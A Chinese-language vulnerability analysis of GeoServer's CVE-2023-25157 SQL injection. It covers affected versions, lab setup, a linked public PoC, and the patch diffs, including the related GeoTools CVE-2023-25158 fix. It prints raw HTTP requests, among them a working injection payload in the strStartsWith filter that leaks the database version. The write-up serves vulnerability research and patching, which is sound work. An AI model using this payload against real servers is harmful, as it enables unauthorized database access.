简介
GeoServer是一个开源的地图服务器，它是遵循OpenGIS Web服务器规范的J2EE实现，通过它可以方便的将地图数据发布为地图服务，实现地理空间数据在用户之间的共享。
(资料图片)
影响版本
geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2
环境搭建
安装方式有多种可以选择
windwos下载安装
https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download
下载后只需要指定端口直接下载可完成安装
war包安装
tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip
geoserver下载地址
https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip
解压下载后的文件geoserver-2.15.1-war.zip，得到geoserver.war
把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。
启动tomcat
访问路径，默认端口为8080，端口根据自己的需求开放即可，这里我开放的端口为8081
http://localhost:8081/geoserver/web/分析
POC下载链接
https://github.com/win3zz/CVE-2023-25157
python3 CVE-2023-25157.pyhttp://localhost:8081
查看提交的补丁分析一下漏洞
https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d
修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块
属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义，从而可能允许增强安全措施。NamedParameterJdbcTemplate是 Spring Framework 提供的一个类，它添加了对使用命名参数对 JDBC 语句进行编程的支持，而不是使用经典占位符 ("?") 参数对 JDBC 语句进行编程
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public ConfigDatabase( JDBCLoaderProperties properties, DataSource dataSource, XStreamInfoSerialBinding binding) { this(properties, dataSource, binding, null); } public ConfigDatabase( JDBCLoaderProperties properties, final DataSource dataSource, final XStreamInfoSerialBinding binding, CacheProvider cacheProvider) { this.properties = properties; this.binding = binding; this.template = new NamedParameterJdbcTemplate(dataSource);通过使用参数化查询而不是字符串连接
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改
//sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n"); //sql.append(") query\n"); sql.insert( 0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (" + (isDebugMode() ? "\n" : "")); sql.append(") query"); appendIfDebug(sql, "\n", " ");修改了插入语法，其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
中定义
public boolean isDebugMode() { return debugMode; } public void setDebugMode(boolean debugMode) { this.debugMode = debugMode; } /** Escapes the contents of the SQL comment to prevent SQL injection. */ public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*"); } /** Appends the objects to the SQL in a comment if debug mode is enabled. */ public StringBuilder appendComment(StringBuilder sql, Object... objects) { if (!debugMode) { return sql; } sql.append(" /* "); for (Object object : objects) { sql.append(escapeComment(String.valueOf(object))); } return sql.append(" */\n"); } /** Appends the objects to the SQL in an comment if debug mode is enabled. */ public StringBuilder appendComment(Object sql, Object... objects) { return appendComment((StringBuilder) sql, objects); } /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */ public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) { return sql.append(debugMode ? ifEnabled : ifDisabled); }获取功能名POC
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1Host: 10.10.12.35:8081User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0Upgrade-Insecure-Requests: 1获取功能属性POC
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1Host: 10.10.12.35:8081User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0Upgrade-Insecure-Requests: 1构造恶意payload
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1Host: 10.10.12.35:8081User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0Upgrade-Insecure-Requests: 1这里引用一张图，geotools的注入漏洞
漏洞编号CVE-2023-25158,查看补丁发现
在类中添加该escapeBackslash字段modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java是一种预防措施，可防止某些形式的 SQL 注入，其中反斜杠字符用于转义 SQL 语法中的特殊字符
// single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding);调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号，还转义反斜杠，并可能根据其参数转义双引号
public static String escapeLiteral( String literal, boolean escapeBackslash, boolean escapeDoubleQuote) { // " --> "" String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll(""""); if (escapeBackslash) { // \ --> \\ escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\"); } if (escapeDoubleQuote) { // " --> \" escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\""); } return escaped;至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章
https://blog.csdn.net/nmj2008/article/details/113869086
修复方案
升级安全版本，目前已经有最新版本。
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